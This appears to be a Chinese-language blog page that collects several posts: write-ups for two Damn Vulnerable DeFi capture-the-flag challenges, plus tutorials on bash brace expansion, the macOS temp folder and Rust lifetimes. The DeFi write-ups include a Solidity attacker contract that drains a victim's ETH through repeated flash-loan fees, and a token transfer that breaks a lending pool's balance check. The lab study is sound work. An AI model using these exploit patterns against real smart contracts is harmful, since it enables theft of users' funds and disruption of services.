Damn Vulnerable DeFi - 2. Native Receiver

Description

There’s a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.

You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiveing flash loans of ETH.

Drain all ETH funds from the user’s contract. Doing it in a single transaction is a big plus ;)

Writeup

呼叫 flashLoan function 可以使可以減少 1ETH,所以我們來寫個合約調用它,直到沒有餘額。

  1. 撰寫合約
     // SPDX-License-Identifier: MIT
     pragma solidity ^0.8.0;
     import "../naive-receiver/NaiveReceiverLenderPool.sol";
    
     contract NaiveReceiverAttacker {
       NaiveReceiverLenderPool private pool;
    
       constructor(address payable poolAddress) {
           pool = NaiveReceiverLenderPool(poolAddress);
       }
    
       function attack(address payable receiver) public {
         while(receiver.balance > 0) {
             pool.flashLoan(receiver, 0);
         }
       }
     }
    
  2. 修改 test/unstoppable/naive-receiver.challenge.js
     it('Exploit', async function () {
         /** CODE YOUR EXPLOIT HERE */   
         const attackerContract = await (await ethers.getContractFactory('NaiveReceiverAttacker', attacker)).deploy(this.pool.address);
         await attackerContract.connect(attacker).attack(this.receiver.address);
     });
    
  3. yarn run naive-receiver to exploit !

其他解法

不另外寫合約,直接修改 test/unstoppable/naive-receiver.challenge.js 成下面這樣也可以。

it('Exploit', async function () {
    /** CODE YOUR EXPLOIT HERE */   
    for (let i = 0; i < 10; i++) {
        await this.pool.flashLoan(this.receiver.address, 0);
    }
});

Damn Vulnerable DeFi - 1. Unstoppable

在開始挑戰之前,先確定已經 clone 這個 repo 並執行 yarn 來下載需要的套件。

Description

There’s a lending pool with a million DVT tokens in balance, offering flash loans for free.
If only there was a way to attack and stop the pool from offering flash loans …
You start with 100 DVT tokens in balance.

Writeup

合約的第 40 行有一句 assert(poolBalance == balanceBefore); 檢查 poolBalance 是否與 balanceBefore 相等,如果不相等,執行 flashLoan function 的時候將會在這裡失敗。

poolBalance 會因為執行 depositTokens function 而改變,如果我們不使用這個 function,而是直接用 transfer 將 token 轉入合約,就會讓 poolBalancebalanceBefore 不相等。

  1. 修改 test/unstoppable/unstoppable.challenge.js
     it('Exploit', async function () {
         /** CODE YOUR EXPLOIT HERE */
         await this.token.connect(attacker).transfer(this.pool.address, 1);
     });
    
  2. yarn run unstoppable to exploit !

Find & open Temp folder in MacOS

  1. Find Temp folder path
     echo $TMPDIR
    
  2. Open Temp folder directly
     open $TMPDIR          
    

    Don’t delete or modify anything in the temp folder!

大括號的分配律─ Brace Expansion

  1. 分配律用法例如:創建 apple.txt after.txt as.txt 三個檔案

     touch a{pple,fter,s}.txt
    

    總之就是把共同的部份寫在大括號外面即可。

  2. 連續用法例如:創建 file1, file2, …, file100 等100個資料夾

     mkdir file{1..100}
    

    把連續的字母或數字的寫在大括號內,用 .. 隔開即可,原本需要100條命令現在只要1條就可以做到。

    也可以將數字改為英文字母,例如下面指令會 echo a ~ z 26 個字母

     echo {a..z}
     # a b c d e f g h i j k l m n o p q r s t u v w x y z
    

    也可以用降序的方式:

     echo {10..1}
     # 10 9 8 7 6 5 4 3 2 1
    
  3. 當然也可以混合使用:

     touch file_{1..5}_{old,new}
    

    這樣會產生10個檔案,file_1_old 、 file_1_new 、 file_2_old …

  4. 設置 step - {start..end..step}

     echo {10..0..2}
     # 10 8 6 4 2 0
    
  5. 使用在 for loop 上

     for i in {0..10}
     do
       echo "Number: $i"
     done
        
     # Number: 0
     # Number: 1
     # Number: 2
     # Number: 3
     # Number: 4
     # Number: 5
     # Number: 6
     # Number: 7
     # Number: 8
     # Number: 9
     # Number: 10
    
  6. Nested

     echo {a{1..3},{b..f}{4..0..2}}
     # a1 a2 a3 b4 b2 b0 c4 c2 c0 d4 d2 d0
    

Rust - Lifetime

前情提要:

Rust 被設計為一種非常安全的語言,因此變數宣告上有幾點特色 :

  1. Rust 沒有 null 的概念,也不允許 null pointer,如果在指派值給變數之前使用它,會報錯。
  2. 變數預設為 immutable,如果要該變數的值可被變更,必須加上 mut 這個 keyword。

Rust 內,每個引用(Reference)都有生命週期(Lifetime),生命週期會決定該引用是不是有效的引用。

當在一個 function、一個生命週期內大量地引用多個變數,這些變數可能擁有不同生命週期,這時我們就需要使用泛型生命週期來詮釋引用之間的關係,以避免 Dangling references 等問題發生。

例如下面這個例子:

fn main() {
    {
        let r;

        {
            let x = 5;
            r = &x;
        }

        println!("r: {}", r);
    }
}

如果執行會出現錯誤:

error[E0597]: `x` does not live long enough
  --> src/main.rs:7:17
   |
7  |             r = &x;
   |                 ^^ borrowed value does not live long enough
8  |         }
   |         - `x` dropped here while still borrowed
9  |
10 |         println!("r: {}", r);
   |                           - borrow later used here

這是因為外部作用域的 r 引用的內部作用域的 x 在被印出來之前生命就結束了,等於指標指到的地方記憶體已經被釋放了。

Rust 編譯器怎麼發現引用的記憶體被釋放了呢?這是因為 Rust 編譯器有個叫做 借用檢查器 (borrow checker)的東西,會檢查變數們的引用是否有效。

把上面的程式碼加上生命週期詮釋,用 ‘a 表示外部作用域的 r 的生命週期, ‘b 代表內部作用域 x 的生命週期。

{
    let r;                // ---------+-- 'a
                          //          |
    {                     //          |
        let x = 5;        // -+-- 'b  |
        r = &x;           //  |       |
    }                     // -+       |
                          //          |
    println!("r: {}", r); //          |
}                         // ---------+

把程式碼改成下面的樣子就可以正常編譯:

{
    let x = 5;            // ----------+-- 'b
                          //           |
    let r = &x;           // --+-- 'a  |
                          //   |       |
    println!("r: {}", r); //   |       |
                          // --+       |
}                         // ----------+

此時 x 的生命週期 ‘b 比 ‘a 還長,所以編譯器知道引用有效。

函式中的生命週期

fn main() {
    let string1 = String::from("abcd");
    let string2 = "xyz";

    let result = longest(string1.as_str(), string2);
    println!("最長的字串為 {}", result);
}

fn longest(x: &str, y: &str) -> &str {
    if x.len() > y.len() {
        x
    } else {
        y
    }
}

編譯的話會出現下面的錯誤:

error[E0106]: missing lifetime specifier
 --> src/main.rs:9:33
  |
9 | fn longest(x: &str, y: &str) -> &str {
  |               ----     ----     ^ expected named lifetime parameter
  |
  = help: this function's return type contains a borrowed value, but the signature does not say whether it is borrowed from `x` or `y`
help: consider introducing a named lifetime parameter
  |
9 | fn longest<'a>(x: &'a str, y: &'a str) -> &'a str {
  |           ++++     ++          ++          ++

For more information about this error, try `rustc --explain E0106`.
error: could not compile `playground` due to previous error

他叫你要有 lifetime specifier,這是因為longest function 引用了兩個參數,並回傳其中一個,但是到底回傳 x 還是 y 不一定,所以無法像前面觀察作用域一樣確保引用的有效。Rust 的解決方法就是加上泛型生命週期參數來定義引用之間的關係,讓檢查器可以檢查

生命週期詮釋語法

生命週期的參數以撇號開頭(’),通常是很短的小寫。大部分時會會將其放在引用的 & 後面。

&i32        // 一個引用
&'a i32     // 一個有顯式生命週期的引用
&'a mut i32 // 一個有顯式生命週期的可變引用

如果我們宣告一個叫做 one 的引用,他的生命週期是 ‘a,宣告一個叫做 two 的引用,他的生命週期也是 ‘a,這兩個變數都會和 ‘a 這個生命週期活得一樣久

修改前面的程式碼,確保 x 與 y 不管回傳哪個都是有效的引用。

fn longest<'a>(x: &'a str, y: &'a str) -> &'a str {
    if x.len() > y.len() {
        x
    } else {
        y
    }
}

這樣一來函式內所有引用 — x 與 y 的生命週期都是 ‘a。回傳的地方也有標註生命週期,讓編譯器知道:不管 x 還 y ,生命週期都與回傳的 str 相同,不用擔心回傳到非法的引用。

實際上, ‘a 代表的是 x 與 y 生命週期重疊的部分,也就是較短的生命週期。使用這個方式讓編譯器檢查出非法引用,畢竟較短的生命週期 = 比較早被釋放的變數,在此方法之下,回傳引用的生命週期保證在 x 和 y的生命週期較短的結束前有效。

現在的程式碼:

fn main() {
    let string1 = String::from("很長的長字串");
    let result;
    {
        let string2 = String::from("xyz");
        result = longest(string1.as_str(), string2.as_str());
    }
    println!("最長的字串為 {}", result);
}

fn longest<'a>(x: &'a str, y: &'a str) -> &'a str {
    if x.len() > y.len() {
        x
    } else {
        y
    }
}

編譯會檢查出錯誤:

error[E0597]: `string2` does not live long enough
 --> src/main.rs:6:44
  |
6 |         result = longest(string1.as_str(), string2.as_str());
  |                                            ^^^^^^^^^^^^^^^^ borrowed value does not live long enough
7 |     }
  |     - `string2` dropped here while still borrowed
8 |     println!("最長的字串為 {}", result);
  |                                 ------ borrow later used here

For more information about this error, try `rustc --explain E0597`.

編譯器發現 string2 生命週期太短!

如果是宣告 struct,通常也都會加上生命週期,避免在 struct 尚存在的時候,裡面引用的資料就被釋放

struct ImportantExcerpt<'a> {
    part: &'a str,
}